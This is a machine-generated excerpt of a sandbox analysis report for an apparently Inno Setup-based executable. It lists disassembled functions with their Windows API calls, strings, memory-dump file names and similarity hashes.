GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,004777B3,0049C0A4,00000000), ref: 004776CF
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004776D5

Strings

user32.dll, xrefs: 004776CA
AllowSetForegroundWindow, xrefs: 004776C5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProcProcessThreadWindow
String ID: AllowSetForegroundWindow$user32.dll
API String ID: 1782028327-3855017861
Opcode ID: 79b78db4dd9cdf85c2be20cd47b0727ffde78e70408e3af60258cd37bb1d66b3
Instruction ID: ee14923c72d036b6004e6d5d181e2ae3dde99fc96f584ef82141a9a0fe8b283c
Opcode Fuzzy Hash: 79b78db4dd9cdf85c2be20cd47b0727ffde78e70408e3af60258cd37bb1d66b3
Instruction Fuzzy Hash: 99D0C7D0249B02AAD910B3F94D47FAF365CA954768794C47B7404E218DDABCDC00D93D

Function 00416C2C Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00416C52
SaveDC.GDI32(?), ref: 00416C83
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416D45), ref: 00416CE4
RestoreDC.GDI32(?,?), ref: 00416D0B
EndPaint.USER32(00000000,?,00416D4C,00000000,00416D45), ref: 00416D3F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
Instruction ID: 8164e3b37c2b38cc39b91ef4074089abf19b8963c3e0e5cbd12a4ce3d65b1abe
Opcode Fuzzy Hash: ad781fe6fb59047a66b80eb53a3f65b2019eba16d1c733f202b60e39d660354f
Instruction Fuzzy Hash: A1415070A002049FCB14DBA9C585FAA77F9FF48304F1540AEE8459B362D778DD81CB58

Function 00414800 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 00414836
MulDiv.KERNEL32(?,?,?), ref: 00414850
MulDiv.KERNEL32(?,?,?), ref: 00414879
MulDiv.KERNEL32(?,?,?), ref: 004148A4
MulDiv.KERNEL32(00000000,?,00000000), ref: 004148EC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
Instruction ID: a833d86c80f2fb81cba799e3b93fc1891ddf3ebdd98a67124a25423b7ab76754
Opcode Fuzzy Hash: b6913cb722474124f75cff2ee5949f067bbdde1b56a592e148b6496e85af3d5a
Instruction Fuzzy Hash: 563132746057809FC320EF69C984B9BB7E8AF89354F04491EF9D5C3752C638E8818F19

Function 004297CC Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429808
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429837
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 00429853
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 0042987E
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 0042989C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
Instruction ID: 8b65b0e689063cc909dba6714575951256d1ad54ff8cece17fd29570ea6901c2
Opcode Fuzzy Hash: 399f588db94bb8b810bf5b46e1237ea7bfd7cbebe0e15a3dbf36720fb68daebb
Instruction Fuzzy Hash: 6E219D707107057BEB10AB62DC82F5B7AECAB41708F54443EB501AB2D2DFB8AE418228

Function 0041BBB8 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BBCA
GetSystemMetrics.USER32(0000000C), ref: 0041BBD4
GetDC.USER32(00000000), ref: 0041BC12
CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BC59
DeleteObject.GDI32(00000000), ref: 0041BC9A

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MetricsSystem$BitmapCreateDeleteObject
String ID:
API String ID: 1095203571-0
Opcode ID: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
Instruction ID: 2a907a32995036c4e239f44386a828d3a2f1e7d44945ead90e55d18394f4d4ff
Opcode Fuzzy Hash: d6ecec59309c4539c21f746b1d4641e0a999657a412e1d938322a226e3514674
Instruction Fuzzy Hash: 5D315C70E00208EFDB04DFA5C941AAEB7F5EB48700F2084AAF514AB781D7789E40DB98

Function 0047344C Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0045CE9C: SetLastError.KERNEL32(00000057,00000000,0045CF68,?,?,?,?,00000000), ref: 0045CF07

GetLastError.KERNEL32(00000000,00000000,00000000,00473520,?,?,0049C1DC,00000000), ref: 004734D9
GetLastError.KERNEL32(00000000,00000000,00000000,00473520,?,?,0049C1DC,00000000), ref: 004734EF

Strings

Failed to set permissions on registry key (%d)., xrefs: 00473500
Setting permissions on registry key: %s\%s, xrefs: 0047349E
Could not set permissions on the registry key because it currently does not exist., xrefs: 004734E3

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast
String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
API String ID: 1452528299-4018462623
Opcode ID: 6a97e4f81041aadbe163303a7d14e2778330a35fec2615f3944f9ca16867819a
Instruction ID: f6b37ec0c80c1520313a246a851a493010c524415d82476cd93cad017a8f966b
Opcode Fuzzy Hash: 6a97e4f81041aadbe163303a7d14e2778330a35fec2615f3944f9ca16867819a
Instruction Fuzzy Hash: 76218670A042445FCB10DFA9C8826EEBBE4DF49315F50817BE508E7392D7785E05876D

Function 00403CA4 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
Opcode Fuzzy Hash: dcd45591e65b03bd276bb2a5b0fabad56ebf76f0c081827c2345b0a7b763a240
Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D

Function 004143E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SelectPalette.GDI32(00000000,00000000,00000000), ref: 00414419
RealizePalette.GDI32(00000000), ref: 00414421
SelectPalette.GDI32(00000000,00000000,00000001), ref: 00414435
RealizePalette.GDI32(00000000), ref: 0041443B
ReleaseDC.USER32(00000000,00000000), ref: 00414446

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Palette$RealizeSelect$Release
String ID:
API String ID: 2261976640-0
Opcode ID: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
Instruction ID: 3cc421e061c7a323c9855e33cbe13bf4890882f9e8533d15179bd5f7679f66d2
Opcode Fuzzy Hash: c9c8aa66f6917016d7555c0ac5b3df2d15848593dde74026b2272496f15e705b
Instruction Fuzzy Hash: A2018F7520C3806AE600A63D8C85A9F6BED9FCA718F15446EF495DB282DA7AC8018765

Function 00424CE0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 0041F074: GetActiveWindow.USER32 ref: 0041F077
Part of subcall function 0041F074: GetCurrentThreadId.KERNEL32 ref: 0041F08C
Part of subcall function 0041F074: EnumThreadWindows.USER32(00000000,Function_0001F050), ref: 0041F092

Part of subcall function 004231A8: GetSystemMetrics.USER32(00000000), ref: 004231AA

OffsetRect.USER32(?,?,?), ref: 00424DC9
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424E8C
OffsetRect.USER32(?,?,?), ref: 00424E9D

Part of subcall function 00423564: GetCurrentThreadId.KERNEL32 ref: 00423579
Part of subcall function 00423564: SetWindowsHookExA.USER32(00000003,00423520,00000000,00000000), ref: 00423589
Part of subcall function 00423564: CreateThread.KERNEL32(00000000,000003E8,004234D0,00000000,00000000), ref: 004235AD

Part of subcall function 00424B2C: SetTimer.USER32(00000000,00000001,?,004234B4), ref: 00424B47

Strings

vLB, xrefs: 00424CF3, 00424DD1

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Thread$CurrentOffsetRectWindows$ActiveCreateDrawEnumHookMetricsSystemTextTimerWindow
String ID: vLB
API String ID: 1477829881-1797516613
Opcode ID: 9987255b0b6c78362164308449554d51e9442941db4b17a29f095a444d8f0f61
Instruction ID: 1a85cd152e58b5c2614c87f396891e2b5808bef0cf689969089b0637ec596c27
Opcode Fuzzy Hash: 9987255b0b6c78362164308449554d51e9442941db4b17a29f095a444d8f0f61
Instruction Fuzzy Hash: C5812675A003188FCB14DFA8D880ADEBBF4FF88314F50416AE905AB296E738AD45CF44

Function 00406FA4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 156shareCOMMON

Download Yara Rule

APIs

WNetGetUniversalNameA.MPR(00000000,00000001,?,00000400), ref: 00407003
WNetOpenEnumA.MPR(00000001,00000001,00000000,00000000,?), ref: 0040707D
WNetEnumResourceA.MPR(?,FFFFFFFF,?,?), ref: 004070D5

Strings

Z, xrefs: 0040703C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Enum$NameOpenResourceUniversal
String ID: Z
API String ID: 3604996873-1505515367
Opcode ID: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
Instruction ID: 78f4b6eea80f90a9c0d6dbacb1000d6f5057f9b0a0312f2c839bfa0eabc808a5
Opcode Fuzzy Hash: a9e747af3270ad6827a26b5e12e82ea9da9777e5f51a79d453bfa0d7b97e4fbe
Instruction Fuzzy Hash: 14516470E04208AFDB11DF95C951AAFBBB9EF09304F1045BAE500BB3D1D778AE458B5A

Function 0044CFC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 0044D04E
DrawTextA.USER32(00000000,00000000,00000000,?,00000D20), ref: 0044D079
DrawTextA.USER32(00000000,00000000,00000000,00000000,00000800), ref: 0044D101

Strings

, xrefs: 0044D033

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DrawText$EmptyRect
String ID:
API String ID: 182455014-2867612384
Opcode ID: 3cb455d8176bf3e5231f8dda4285d64bdc155d7a8260b5a0e5f680fe50550aac
Instruction ID: ac611c4ae9e9b4e435f74cd3b872a097dcdbbef8ea8fa2dc8c743a2ef399c877
Opcode Fuzzy Hash: 3cb455d8176bf3e5231f8dda4285d64bdc155d7a8260b5a0e5f680fe50550aac
Instruction Fuzzy Hash: 18517171E00248AFDB11DFA5C885BDEBBF8BF48308F18447AE845EB252D7789945CB64

Function 0042EF74 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042EF9E

Part of subcall function 0041A1E8: CreateFontIndirectA.GDI32(?), ref: 0041A2A7

SelectObject.GDI32(?,00000000), ref: 0042EFC1
ReleaseDC.USER32(00000000,?), ref: 0042F0A0

Strings

...\, xrefs: 0042F052

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateFontIndirectObjectReleaseSelect
String ID: ...\
API String ID: 3133960002-983595016
Opcode ID: 65766ae35a5ff9b042dd79c87bacb89811e544568082cefb05445997e7e8f61e
Instruction ID: de545d42c11d103cbad381cc3223c2b5efa9fdb4a6e9ae4bb0445229962d8c70
Opcode Fuzzy Hash: 65766ae35a5ff9b042dd79c87bacb89811e544568082cefb05445997e7e8f61e
Instruction Fuzzy Hash: 5A316370B00128AFDB11EB96D841BAEB7F8EB09348F90447BE410A7392D7785E49CA59

Function 004538BC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539AB
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,00496991,_iu,?,00000000,004539F6), ref: 004539BB

Strings

_iu, xrefs: 0045394D
.tmp, xrefs: 0045395F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: .tmp$_iu
API String ID: 3498533004-10593223
Opcode ID: 1bf85a80132bbff87a9a827a47fd0c4a75e2f830b03f5f12b130a42208c1e1fd
Instruction ID: c819285d1904897ee35e15112b57b1097950df4cd651dd5525fdc5768647a91e
Opcode Fuzzy Hash: 1bf85a80132bbff87a9a827a47fd0c4a75e2f830b03f5f12b130a42208c1e1fd
Instruction Fuzzy Hash: 6531C5B0A00249ABCB11EFA5D842B9EBBB4AF44345F20453AF810B73C2D7785F058B69

Function 00497D80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,004986D0,00000000,00497E76,?,?,00000000,0049B628), ref: 00497DF0
SetFileAttributesA.KERNEL32(00000000,00000000,00000000,004986D0,00000000,00497E76,?,?,00000000,0049B628), ref: 00497E19
MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 00497E32

Strings

isRS-%.3u.tmp, xrefs: 00497DCF

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: File$Attributes$Move
String ID: isRS-%.3u.tmp
API String ID: 3839737484-3657609586
Opcode ID: c8ffd91a69648c323ebec4846a0c95b9f63ed5ce66c8394ab64ce5c1dd8b2d9f
Instruction ID: d3b1e0af9bc01606b4acbc4251c5ccfb03fd27bd09466a3f7c53cc9bc4e4fae9
Opcode Fuzzy Hash: c8ffd91a69648c323ebec4846a0c95b9f63ed5ce66c8394ab64ce5c1dd8b2d9f
Instruction Fuzzy Hash: F5214F71E14219AFCF11EFA9C881AAFBBB8EF44714F10457BB814B72D1D6389E018B59

Function 00404D2A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00404DC5
ExitProcess.KERNEL32 ref: 00404E0D

Strings

Runtime error at 00000000, xrefs: 00404DBE, 00404DD1
Error, xrefs: 00404DB9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000
API String ID: 1220098344-2970929446
Opcode ID: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
Instruction ID: e2df0dcbf1ce8e07228a8ae3c957e3f7be2bf5582065763199918d440bd3f461
Opcode Fuzzy Hash: 4aa0907dffceb0697d192a833af99b379258e6819ee5eddde657f3822e72bbb6
Instruction Fuzzy Hash: 8E219560A442414ADB11A779BA8571B3B91D7E5348F04817BE710A73E3C77C8C4487ED

Function 00456A48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828

Part of subcall function 00403CA4: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
Part of subcall function 00403CA4: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00456A9C
RegisterTypeLib.OLEAUT32(00000000,00000000,00000000), ref: 00456AC9

Strings

LoadTypeLib, xrefs: 00456AA7
RegisterTypeLib, xrefs: 00456AD4

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Type$AllocByteCharFullLoadMultiNamePathRegisterStringWide
String ID: LoadTypeLib$RegisterTypeLib
API String ID: 1312246647-2435364021
Opcode ID: c06c5e8b46d4cc008794e6ef7648282b6775267df5f2c1a0af32ed40ef5fa1a3
Instruction ID: f320f84dc8d434ac547319b1f88b10c46afed2bb2b034f8a1d5164c41c1038b2
Opcode Fuzzy Hash: c06c5e8b46d4cc008794e6ef7648282b6775267df5f2c1a0af32ed40ef5fa1a3
Instruction Fuzzy Hash: CE118430B00604AFDB11DFA6CD55A5AB7BDEB89705F518476FD04D3652DA389E04CA14

Function 00456FA0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000B06,00000000,00000000), ref: 00456FBA
SendMessageA.USER32(00000000,00000B00,00000000,00000000), ref: 00457057

Strings

Failed to create DebugClientWnd, xrefs: 00457020
Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x), xrefs: 00456FE6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

